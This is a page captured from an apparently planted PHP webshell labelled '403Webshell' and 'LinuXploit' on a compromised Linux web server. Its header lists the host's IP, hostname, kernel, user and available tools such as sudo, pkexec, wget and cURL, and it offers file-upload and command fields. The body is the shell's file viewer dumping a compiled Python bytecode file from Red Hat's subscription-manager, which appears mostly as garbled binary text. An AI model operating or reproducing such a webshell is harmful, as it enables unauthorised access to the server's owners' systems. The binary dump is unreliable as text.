403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/dbus/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/dbus/__pycache__/server.cpython-36.pyc
3

a�e6�@sddlmZmZmZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
e
j�ddlmZddlmZddlmZddlmZdd	lmZmZdd
lmZmZmZmZmZddlmZ ddl!m"Z"ej#e$�Z%e�Z&ej'e&�Z(Gd
d�de)�Z*Gdd�de)�Z+dS)�)�print_function�division�absolute_importN)�	constants)�	ga_loader)�GLib)�partial)�config)�get_config_parser)�create_filesystem_watcher�DirectoryWatch)�CONSUMER_WATCHER�ENTITLEMENT_WATCHER�CONFIG_WATCHER�PRODUCT_WATCHER�SYSPURPOSE_WATCHER)�	injection)�init_loggerc@sleZdZdZdZdd�Zddd�Zddd�Zd	d
�Zdd�Z	e
dedd
�dd��Ze
dedd
�dd��Z
dS)�Serverz9
    Class used for rhsm.service providing D-Bus API
    NcOstj|�|_|jS)zK
        Function called, when new instance of Server is requested
        )�object�__new__�INSTANCE)�cls�args�kwargs�r�/usr/lib64/python3.6/server.pyr2szServer.__new__cCs�tt�tj�tjjj�|p$tj|_	|p0tj
}|p8i}|p@g}g|_i|_y|f|�|_
Wn$tjjk
r�tjd��YnXtjtj�|_d}tdd}tdd}d}tjj|j	|j
�|_tj�|_xv|D]n}	y|	d|	d}
}Wntk
�r|	}
i}YnX|
f|
j|jd	�|��}|jj|�||jt|
j�<q�Wg}
g}g}g}g}d
|jk�r�|j|jd
j �|
j|jd
j �|j|jd
j �|j|jd
j �|j|jd
j!�d|jk�r�|
j|jdj"�d|jk�r|j|jdj �|j|jdj#�d
|jk�r.|j|jd
j$�d|jk�rL|j|jdj%�t&|jj'|
�}t&||�}t&||�}t&||�}t&||�}t(t)|t*|t+|t,|t-|i�|_.t/j0|j.j1dd�|_2|j2j3�dS)a�
        Create a connection to a bus defined by bus_class and bus_kwargs; instantiate objects in
        object_classes; expose them under bus_name and enter a GLib mainloop.  bus_kwargs are generally
        only necessary if you're using dbus.bus.BusConnection

        The object_classes argument is a list.  The list can contain either a class or a tuple consisting
        of a class and a dictionary of arguments to send that class's constructor.
        zCould not create bus classz/etc/rhsm/rhsm.confZrhsmZproductCertDirZentitlementCertDirz$/etc/rhsm/syspurpose/syspurpose.jsonr�)Zobject_path�bus_nameZEntitlementDBusObjectZConsumerDBusObjectZConfigDBusObjectZProductsDBusObjectZSyspurposeDBusObjectzThread-FileSystemWatcher)�target�nameN)4r�parserrZthreads_init�dbus�mainloopZglibrZBUS_NAMErZ	SystemBus�objectsZ
object_map�bus�
exceptionsZ
DBusException�log�	exception�injZrequireZIDENTITYZidentity�confZserviceZBusNameZconnection_nameZMainLoop�	TypeErrorZdefault_dbus_path�append�str�__name__�reloadZEntitlementChangedZConsumerChangedZ
ConfigChangedZInstalledProductsChangedZSyspurposeChangedrZ
cert_dir_pathrr
rrrr�filesystem_watcher�	threadingZThreadZloop�_thread�start)�selfZ	bus_classr�object_classesZ
bus_kwargsZconfig_cert_dir_pathZproducts_cert_dir_pathZentitlement_cert_dir_pathZsyspurpose_cert_dir_path�item�clazzrZclazz_instanceZconsumer_dir_listZentitlement_dir_listZconfig_dir_listZproducts_dir_listZsyspurpose_dir_listZconsumer_dir_watchZentitlement_dir_watchZconfig_dir_watchZproducts_dir_watchZsyspurpose_dir_watchrrr�__init__9s�






zServer.__init__cCs�z�ytj|j|�|jj�Wn�tk
rJ}ztj|�WYdd}~XnVtk
rt}ztj|�WYdd}~Xn,t	k
r�}ztj|�WYdd}~XnXWd|j
j�|r�|j�XdS)z�
        The two arguments, started_event and stopped_event, should be instances of threading.
        Event that will be set when the mainloop has finished starting and stopping.
        N)
rZidle_add�notify_startedr#�run�KeyboardInterruptr'r(�
SystemExit�	Exceptionr0�stop�set)r4�
started_eventZ
stopped_event�errrr:�s 
z
Server.runcCstjd�|r|j�dS)z�
        This callback will be run once the mainloop is up and running. It's only purpose is to alert
        other blocked threads that the mainloop is ready.
        zStart notification sentF)r'�debugr?)r4r@rrrr9�s
zServer.notify_startedcCsJ|jj�|jj�|jjd�x|jD]}|j�q(W|jj	|j
�dS)z�
        This method is primarily intended for uses of Server in a thread such as during testing since
        in a single-threaded program, the execution would be blocked on the mainloop and therefore
        preclude even calling this method.
        �N)r#�quitr0r>r2�joinr$�remove_from_connectionr%Zrelease_namer)r4�orrr�shutdown�s

zServer.shutdown)�watcher_set�returncCsZ|j}|dkrdSxB|jjj�D]2\}}|dk	r:||kr:q tjd|���|j�q WdS)z�
        This function temporary disables file system directory watchers
        :param watcher_set: Set of watchers. If the watcher is None, then all watchers are disabled
        :return: None
        NzDisabling directory watcher: )rr0�dir_watches�itemsr'rBZtemporary_disable)rrI�server_instance�dir_watcher_id�dir_watcherrrr�temporary_disable_dir_watchers�sz%Server.temporary_disable_dir_watcherscCsZ|j}|dkrdSxB|jjj�D]2\}}|dk	r:||kr:q tjd|���|j�q WdS)z�
        This function enables file system directory watchers
        :param watcher_set: Set of watcher. If the watcher is None, then all watchers are enabled
        :return: None
        NzEnabling directory watcher: )rr0rKrLr'rB�enable)rrIrMrNrOrrr�enable_dir_watchers�szServer.enable_dir_watchers)NNNN)NN)N)N)r.�
__module__�__qualname__�__doc__rrr8r:r9rH�classmethodr?rPrRrrrrr+s
g
rc@sleZdZUdZdZedZeedd��Ze	dd��Z
e	dd	��Zed
d��Zdd
d�Z
dd�Zdd�ZdS)�DomainSocketServera�This class sets up a DBus server on a domain socket. That server can then be used to perform
    registration. The issue is that we can't send registration credentials over the regular system or
    session bus since those aren't really locked down. The work-around is the client asks our service
    to open another server on a domain socket, gets socket information back, and then connects and sends
    the register command (with the credentials) to the server on the domain socket.zunix:tmpdir=z/runcCs|j|jS)N)�_server_socket_iface�_server_socket_path)r4rrr�_server_socket	sz!DomainSocketServer._server_socketc
Cs^|||j|jd�}tjd||f�|j|�|j�|jd7_WdQRXtjd|�dS)N)�conn�sender�cmd_linezInstance: %s of %s createdrzNew connection: %s)r\r]r'rBr,�lock�connection_count)�domain_socket_serverZ
service_classZobject_listr[�objrrr�connection_added
s

z#DomainSocketServer.connection_addedc
Csltjd|�|j�P|jd8_|jdkr8tjd�n&|jdkrNtjd�ntjd|j�WdQRXdS)NzClosed connection: %srrzNo connections remainzServer still has one connectionzServer still has %d connections)r'rBr^r_)r`r[rrr�connection_removeds

z%DomainSocketServer.connection_removedcCs|jr|jjSdSdS)N)�_server�address)r4rrrre'szDomainSocketServer.addressNc	CsH|pg|_g|_d|_||_||_tj�|_|j�d|_WdQRXdS)a�Create a connection to a bus defined by bus_class and bus_kwargs; instantiate objects in
        object_classes; expose them under bus_name and enter a GLib mainloop.  bus_kwargs are generally
        only necessary if you're using dbus.bus.BusConnection

        The object_classes argument is a list.  The list can contain either a class or a tuple consisting
        of a class and a dictionary of arguments to send that class's constructor.
        Nr)	r5r$rdr\r]r1ZLockr^r_)r4r5r\r]rrrr8.s

zDomainSocketServer.__init__cCs>x|jD]}|j�qW|jj�d|_d|_d|_d|_dS)N)r$rFrdZ
disconnectr\r])r4rGrrrrH@s
zDomainSocketServer.shutdowncCs�yXtjj|j�|_x*|jD] }|jjjtt	j
|||j��qW|jjjtt	j
|��|jStk
r�}ztj|�WYdd}~XnXdS)N)r"ZserverrrZrdr5Zon_connection_addedr,rrWrbr$Zon_connection_removedrcrer=r'r()r4r7rArrrr:KszDomainSocketServer.run)NNN)r.rSrTrUrXr-rY�propertyrZ�staticmethodrbrcrer8rHr:rrrrrW�s



rW),Z
__future__rrrZloggingZdbus.servicer"Zdbus.serverZdbus.mainloop.glibr1Zrhsmlib.dbusrZsubscription_managerrZinit_gaZsubscription_manager.gar�	functoolsrZrhsmlib.servicesr	Zrhsm.configr
Zrhsmlib.file_monitorrrr
rrrrrr)Zrhsm.logutilrZ	getLoggerr.r'r!ZConfigr*rrrWrrrr�<module>s,

Q

Youez - 2016 - github.com/yon3zu
LinuXploit